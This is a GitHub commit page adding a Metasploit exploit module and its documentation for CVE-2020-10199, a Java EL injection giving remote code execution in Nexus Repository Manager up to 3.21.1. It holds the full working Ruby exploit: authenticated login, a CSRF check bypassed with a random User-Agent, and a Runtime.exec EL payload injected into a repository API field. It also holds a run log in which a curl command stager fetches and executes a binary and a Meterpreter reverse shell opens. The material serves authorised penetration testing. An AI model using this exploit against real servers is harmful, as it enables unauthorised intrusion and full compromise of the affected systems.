-
Notifications
You must be signed in to change notification settings - Fork 13.8k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #13195, Nexus Repository Manager EL Injection RCE
- Loading branch information
Showing
2 changed files
with
325 additions
and
0 deletions.
There are no files selected for viewing
134 changes: 134 additions & 0 deletions
134
documentation/modules/exploit/linux/http/nexus_repo_manager_el_injection.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,134 @@ | ||
## Vulnerable Application | ||
|
||
### Description | ||
|
||
This module exploits a Java Expression Language (EL) injection in Nexus | ||
Repository Manager versions up to and including 3.21.1 to execute code | ||
as the Nexus user. Tested against 3.21.1-01. | ||
|
||
### Setup | ||
|
||
Install Docker using the [official instructions](https://docs.docker.com/get-docker/). | ||
Follow the instructions for your platform and distribution (if using | ||
Linux). If you're using OS X, you may prefer to `brew cask install docker` | ||
after installing [Homebrew](https://brew.sh/). | ||
|
||
Run `docker run -d -p 8081:8081 --name nexus sonatype/nexus3:3.21.1` | ||
(note the added `3.21.1` tag) as per Sonatype's [Docker Hub instructions](https://hub.docker.com/r/sonatype/nexus3/#running). | ||
|
||
Once Nexus has started, run `docker exec nexus cat /nexus-data/admin.password` | ||
to get the admin password. Next, open a browser and go to <http://localhost:8081/>. | ||
Sign in as the `admin` user with the password you just retrieved. | ||
|
||
Follow the prompts. Change the password to something you can remember, | ||
since you'll be using it to test the module. You can click through the | ||
anonymous access question, since it's not relevant to the exploit. | ||
|
||
If you have trouble getting the password change to stick, browse to | ||
<http://localhost:8081/#user/account> and change it again. | ||
|
||
### Targets | ||
|
||
``` | ||
Id Name | ||
-- ---- | ||
0 Nexus Repository Manager <= 3.21.1 | ||
``` | ||
|
||
## Verification Steps | ||
|
||
Follow [Setup](#setup) and [Scenarios](#scenarios). | ||
|
||
## Options | ||
|
||
### USERNAME | ||
|
||
Set this to a valid Nexus username. | ||
|
||
### PASSWORD | ||
|
||
Set this to a valid Nexus password. | ||
|
||
## Scenarios | ||
|
||
### Nexus Repository Manager 3.21.1-01 from [Docker Hub](https://hub.docker.com/r/sonatype/nexus3) | ||
|
||
``` | ||
msf5 > use exploit/linux/http/nexus_repo_manager_el_injection | ||
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > options | ||
Module options (exploit/linux/http/nexus_repo_manager_el_injection): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
PASSWORD admin yes Nexus password | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' | ||
RPORT 8081 yes The target port (TCP) | ||
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 | ||
SRVPORT 8080 yes The local port to listen on. | ||
SSL false no Negotiate SSL/TLS for outgoing connections | ||
SSLCert no Path to a custom SSL certificate (default is randomly generated) | ||
TARGETURI / yes Base path | ||
URIPATH no The URI to use for this exploit (default is random) | ||
USERNAME admin yes Nexus username | ||
VHOST no HTTP server virtual host | ||
Payload options (linux/x64/meterpreter_reverse_tcp): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
LHOST yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
0 Nexus Repository Manager <= 3.21.1 | ||
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set rhosts 127.0.0.1 | ||
rhosts => 127.0.0.1 | ||
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set lhost 192.168.1.3 | ||
lhost => 192.168.1.3 | ||
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > run | ||
[*] Started reverse TCP handler on 192.168.1.3:4444 | ||
[*] Executing automatic check (disable AutoCheck to override) | ||
[+] The target appears to be vulnerable. Nexus 3.21.1-01 is a vulnerable version. | ||
[*] Executing command stager for linux/x64/meterpreter_reverse_tcp | ||
[*] Logging in with admin:admin | ||
[+] Logged in with NXSESSIONID=8b6fd077-1830-4e2b-90e8-2997d260b5c0; | ||
[*] Using URL: http://0.0.0.0:8080/t6NXrxF | ||
[*] Local IP: http://192.168.1.3:8080/t6NXrxF | ||
[*] Generated command stager: ["curl -so /tmp/hgzeytII http://192.168.1.3:8080/t6NXrxF", "chmod +x /tmp/hgzeytII", "/tmp/hgzeytII", "rm -f /tmp/hgzeytII"] | ||
[*] Executing command: curl -so /tmp/hgzeytII http://192.168.1.3:8080/t6NXrxF | ||
[+] Successfully executed command: curl -so /tmp/hgzeytII http://192.168.1.3:8080/t6NXrxF | ||
[*] Client 192.168.1.3 (curl/7.61.1) requested /t6NXrxF | ||
[*] Sending payload to 192.168.1.3 (curl/7.61.1) | ||
[*] Command Stager progress - 50.00% done (54/108 bytes) | ||
[*] Executing command: chmod +x /tmp/hgzeytII | ||
[+] Successfully executed command: chmod +x /tmp/hgzeytII | ||
[*] Command Stager progress - 70.37% done (76/108 bytes) | ||
[*] Executing command: /tmp/hgzeytII | ||
[+] Successfully executed command: /tmp/hgzeytII | ||
[*] Command Stager progress - 82.41% done (89/108 bytes) | ||
[*] Executing command: rm -f /tmp/hgzeytII | ||
[+] Successfully executed command: rm -f /tmp/hgzeytII | ||
[*] Command Stager progress - 100.00% done (108/108 bytes) | ||
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.3:53094) at 2020-04-07 19:25:38 -0500 | ||
[*] Server stopped. | ||
meterpreter > getuid | ||
Server username: no-user @ 282665c16215 (uid=200, gid=200, euid=200, egid=200) | ||
meterpreter > sysinfo | ||
Computer : 172.17.0.2 | ||
OS : Red Hat Enterprise Linux 8 (Linux 4.19.76-linuxkit) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > | ||
``` |
191 changes: 191 additions & 0 deletions
191
modules/exploits/linux/http/nexus_repo_manager_el_injection.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,191 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
|
||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::Remote::AutoCheck | ||
include Msf::Exploit::CmdStager | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Nexus Repository Manager Java EL Injection RCE', | ||
'Description' => %q{ | ||
This module exploits a Java Expression Language (EL) injection in Nexus | ||
Repository Manager versions up to and including 3.21.1 to execute code | ||
as the Nexus user. Tested against 3.21.1-01. | ||
}, | ||
'Author' => [ | ||
'Alvaro Muñoz', # Discovery | ||
'wvu' # Module | ||
], | ||
'References' => [ | ||
['CVE', '2020-10199'], | ||
['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'], | ||
['URL', 'https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31'] | ||
], | ||
'DisclosureDate' => '2020-03-31', # Vendor advisory | ||
'License' => MSF_LICENSE, | ||
'Platform' => 'linux', | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'Privileged' => false, | ||
'Targets' => [['Nexus Repository Manager <= 3.21.1', {}]], | ||
'DefaultTarget' => 0, | ||
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'}, | ||
'CmdStagerFlavor' => %i[curl wget], | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] | ||
} | ||
)) | ||
|
||
register_options([ | ||
Opt::RPORT(8081), | ||
OptString.new('TARGETURI', [true, 'Base path', '/']), | ||
OptString.new('USERNAME', [true, 'Nexus username', 'admin']), | ||
OptString.new('PASSWORD', [true, 'Nexus password', 'admin']) | ||
]) | ||
end | ||
|
||
def post_auth? | ||
# Pre-auth RCE? https://twitter.com/iamnoooob/status/1246182773427240967 | ||
true | ||
end | ||
|
||
# Send a GET / request to the server, check the response for a Server header | ||
# containing the Nexus version, and then check if it's a vulnerable version | ||
def check | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path) | ||
) | ||
|
||
unless res | ||
return CheckCode::Unknown('Target did not respond to check request.') | ||
end | ||
|
||
unless res.headers['Server'] | ||
return CheckCode::Unknown('Target did not respond with Server header.') | ||
end | ||
|
||
# Example Server header: | ||
# Server: Nexus/3.21.1-01 (OSS) | ||
version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first | ||
|
||
unless version | ||
return CheckCode::Unknown('Target did not respond with Nexus version.') | ||
end | ||
|
||
if Gem::Version.new(version) <= Gem::Version.new('3.21.1') | ||
return CheckCode::Appears("Nexus #{version} is a vulnerable version.") | ||
end | ||
|
||
CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.") | ||
end | ||
|
||
def exploit | ||
# NOTE: Automatic check is implemented by the AutoCheck mixin | ||
super | ||
|
||
print_status("Executing command stager for #{datastore['PAYLOAD']}") | ||
|
||
# This will drop a binary payload to disk and execute it! | ||
execute_cmdstager( | ||
noconcat: true, | ||
cookie: login(datastore['USERNAME'], datastore['PASSWORD']) | ||
) | ||
end | ||
|
||
def login(username, password) | ||
print_status("Logging in with #{username}:#{password}") | ||
|
||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, | ||
'/service/rapture/session'), | ||
'vars_post' => { | ||
'username' => Rex::Text.encode_base64(username), | ||
'password' => Rex::Text.encode_base64(password) | ||
}, | ||
'partial' => true # XXX: Return partial response despite timeout | ||
}, 3.5) | ||
|
||
unless res | ||
fail_with(Failure::Unknown, 'Target did not respond to login request') | ||
end | ||
|
||
cookie = res.get_cookies | ||
|
||
unless res.code == 204 && cookie.match(/NXSESSIONID=[\h-]+/) | ||
fail_with(Failure::NoAccess, 'Could not log in with specified creds') | ||
end | ||
|
||
print_good("Logged in with #{cookie}") | ||
cookie | ||
end | ||
|
||
# This is defined so that CmdStager can use it! | ||
def execute_command(cmd, opts = {}) | ||
vprint_status("Executing command: #{cmd}") | ||
|
||
res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, | ||
'/service/rest/beta/repositories/go/group'), | ||
# HACK: Bypass CSRF token with random User-Agent header | ||
'agent' => rand_text_english(8..42), | ||
'cookie' => opts[:cookie], | ||
'ctype' => 'application/json', | ||
'data' => json_payload(cmd) | ||
) | ||
|
||
unless res | ||
fail_with(Failure::Unknown, 'Target did not respond to payload request') | ||
end | ||
|
||
unless res.code == 400 && res.body.match(/java\.lang\.UNIXProcess@\h+/) | ||
fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}") | ||
end | ||
|
||
print_good("Successfully executed command: #{cmd}") | ||
end | ||
|
||
# PoC based off API docs for /service/rest/beta/repositories/go/group: | ||
# http://localhost:8081/#admin/system/api | ||
def json_payload(cmd) | ||
{ | ||
'name' => 'internal', | ||
'online' => true, | ||
'storage' => { | ||
'blobStoreName' => 'default', | ||
'strictContentTypeValidation' => true | ||
}, | ||
'group' => { | ||
# XXX: memberNames has to be an array, but the API example was a string | ||
'memberNames' => [el_payload(cmd)] | ||
} | ||
}.to_json | ||
end | ||
|
||
# Helpful resource from which I borrowed the EL payload: | ||
# https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf | ||
def el_payload(cmd) | ||
# HACK: Format our EL expression nicely and then strip introduced whitespace | ||
el = <<~EOF.gsub(/\s+/, '') | ||
${ | ||
"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke( | ||
"".getClass().forName("java.lang.Runtime") | ||
).exec("PATCH_ME") | ||
} | ||
EOF | ||
|
||
# Patch in our command, escaping any double quotes | ||
el.sub('PATCH_ME', cmd.gsub('"', '\\"')) | ||
end | ||
|
||
end |